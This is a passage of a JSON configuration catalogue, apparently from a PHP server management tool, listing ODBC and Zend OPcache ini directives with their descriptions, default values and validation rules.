                "shortDescription": "Whether to allow persistent ODBC connections",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.check_persistent": {
                "shortDescription": "Check that a connection is still valid before reuse",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.max_persistent": {
                "shortDescription": "The maximum number of persistent ODBC connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.max_links": {
                "shortDescription": "The maximum number of ODBC connections per process",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.defaultlrl": {
                "shortDescription": "Handling of ODBC LONG column data. Number of bytes returned to variables",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.defaultbinmode": {
                "shortDescription": "Handling of binary data",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.default_db": {
                "shortDescription": "ODBC data source to use if none is specified in odbc_connect() or odbc_pcon",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.default_user": {
                "shortDescription": "User name to use if none is specified in odbc_connect() or odbc_pconnect()",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.default_pw": {
                "shortDescription": "Password to use if none is specified in odbc_connect() or odbc_pconnect()",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "odbc.default_cursortype": {
                "shortDescription": "Controls the ODBC cursor model",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "3"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Zend OPcache": {
        "name": "Zend OPcache",
        "extensionId": "opcache",
        "isDaemon": 0,
        "shortDescription": "Optimizer Plus Cache provides faster PHP execution through opcode caching and optimization",
        "longDescription": "OPcache, aka Optimizer Plus Cache, improves PHP performance by storing precompiled script bytecode in shared memory, thereby removing the need for PHP to load and parse scripts on each request. This extension is bundled with PHP 5.5.0 and later, and is available in PECL for PHP versions 5.2, 5.3 and 5.4.",
        "iniFileName": "opcache.ini",
        "subPath": "opcache",
        "zemExtension": false,
        "directives": {
            "opcache.enable": {
                "shortDescription": "Enables the opcode cache. When disabled, code is not optimised and cached.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.file_update_protection": {
                "shortDescription": "Prevents caching files that are less than this number of seconds old.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.restrict_api": {
                "shortDescription": "Use OPCache API only from path starting the specified string.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.enable_cli": {
                "shortDescription": "Enables the opcode cache for the CLI version of PHP. This is mostly useful for testing and debugging.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.use_cwd": {
                "shortDescription": "If set, use the current directory as a part of the script key.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.validate_timestamps": {
                "shortDescription": "If enabled, OPcache checks the file timestamps and updates the cache accordingly.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.revalidate_freq": {
                "shortDescription": "How often to check file timestamps for changes to the shared memory storage allocation.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.revalidate_path": {
                "shortDescription": "Enables or disables file search in include_path optimization ",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.inherited_hack": {
                "shortDescription": "Enable this hack as a workaround for \"can't redeclare class\" errors",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.dups_fix": {
                "shortDescription": "This hack should only be enabled to work around \"Cannot redeclare class\" errors.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.log_verbosity_level": {
                "shortDescription": "The verbosity of the OPcache log.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:5:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.memory_consumption": {
                "shortDescription": "The OPcache shared memory storage size. The amount of memory for storing precompiled PHP code in Mbytes.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "128"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 1,
                    "maxValue": 4294967296,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.interned_strings_buffer": {
                "shortDescription": "The amount of memory used to store interned strings, in megabytes. This configuration directive is ignored in PHP < 5.3.0.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "4"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 1,
                    "maxValue": 4294967296,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.max_accelerated_files": {
                "shortDescription": "The maximum number of keys (scripts) in the OPcache hash table.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 200,
                    "maxValue": 100000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.max_wasted_percentage": {
                "shortDescription": "The maximum percentage of \"wasted\" memory until a restart is scheduled.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "5"
                    }
                ],
                "units": "%",
                "validation": {
                    "minValue": 0,
                    "maxValue": 100,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.consistency_checks": {
                "shortDescription": "Check the cache checksum every N requests.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.validate_root": {
                "shortDescription": "\n                    This directive prevents file name collisions in different \"chroot\" environments\n                ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.validate_permission": {
                "shortDescription": "\n                    Leads OPcache to check file readability on each access to cached file\n                ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.opt_debug_level": {
                "shortDescription": "\n                    Debug Level\n                ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.force_restart_timeout": {
                "shortDescription": "Time duration (in seconds) for waiting for a scheduled restart to begin if the cache is not being accessed. ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "180"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.preferred_memory_model": {
                "shortDescription": "Shared memory model to use.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.blacklist_filename": {
                "shortDescription": "The location of the OPcache blacklist file.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.error_log": {
                "shortDescription": "The location of the OPcache error log file.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.protect_memory": {
                "shortDescription": "Protects shared memory from unexpected writes while executing scripts. This is useful for internal debugging only.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.save_comments": {
                "shortDescription": "If disabled, all PHPDoc comments are dropped from the code to reduce the size of the optimized code.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.load_comments": {
                "shortDescription": "If disabled, documentation comments won't be loaded from the opcode cache even if they exist.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.fast_shutdown": {
                "shortDescription": "If enabled, a fast shutdown sequence is used for the accelerated code.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.optimization_level": {
                "shortDescription": "A bitmask, where each bit enables or disables the appropriate OPcache passes.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0xffffffff"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^0x[A-Fa-f0-9]+$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.lockfile_path": {
                "shortDescription": "Absolute path used to store shared lockfiles.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "\/tmp"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.enable_file_override": {
                "shortDescription": "Allow file existence caching.",
                "type": 2,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.max_file_size": {
                "shortDescription": "\n                    The maximum file size that will be cached, in bytes. If this is 0, all files will be cached\n                ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.file_cache": {
                "shortDescription": "\n                    Enables and sets the second level cache directory. It should improve performance when SHM memory is full, at server restart or SHM reset. The default \"\" disables file based caching\n                ",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.file_cache_only": {
                "shortDescription": "\n                    Enables or disables opcode caching in shared memory\n                ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.file_cache_consistency_checks": {
                "shortDescription": "\n                    Enables or disables checksum validation when script loaded from file cache\n                ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "opcache.huge_code_pages": {
                "shortDescription": "\n                    Enables or disables copying of PHP code (text segment) into HUGE PAGES. This should improve performance, but requires appropriate OS configuration\n                ",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.enable": {
                "shortDescription": "Optimizer+ On\/Off switch. When set to Off, code is not optimized.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.enable_cli": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.file_update_protection": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.max_file_size": {
                "shortDescription": "",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.error_log": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.load_comments": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.restrict_api": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.use_cwd": {
                "shortDescription": "If set to On, use the current directory as a part of the script key.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.validate_timestamps": {
                "shortDescription": "If enabled, the Optimizer+ checks the file timestamps and updates the cache accordingly.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.revalidate_freq": {
                "shortDescription": "How often to check file timestamps for changes to the shared memory storage allocation.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 2147483647,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.revalidate_path": {
                "shortDescription": "Enables or disables file search in include_path optimization ",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.inherited_hack": {
                "shortDescription": "Enable this hack as a workaround for \"can't redeclare class\" errors",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.dups_fix": {
                "shortDescription": "Enable this hack as a workaround for \"duplicate definition\" errors.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.log_verbosity_level": {
                "shortDescription": "The verbosity of the Optimizer+ log.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 0,
                    "maxValue": 4,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.memory_consumption": {
                "shortDescription": "The Optimizer+ shared memory storage size. The amount of memory for storing precompiled PHP code in Mbytes.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "64"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 1,
                    "maxValue": 4294967296,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.interned_strings_buffer": {
                "shortDescription": "The amount of memory for interned strings in Mbytes.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "4"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 1,
                    "maxValue": 4294967296,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_optimizerplus.max_accelerated_files": {
                "shortDescription": "The maximum number of keys (scripts) in the Optimizer+ hash table.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "2000"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 200,
                    "maxValue": 100000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": false,
                    "host": false
                },
                "requiresRestart": 1
            },
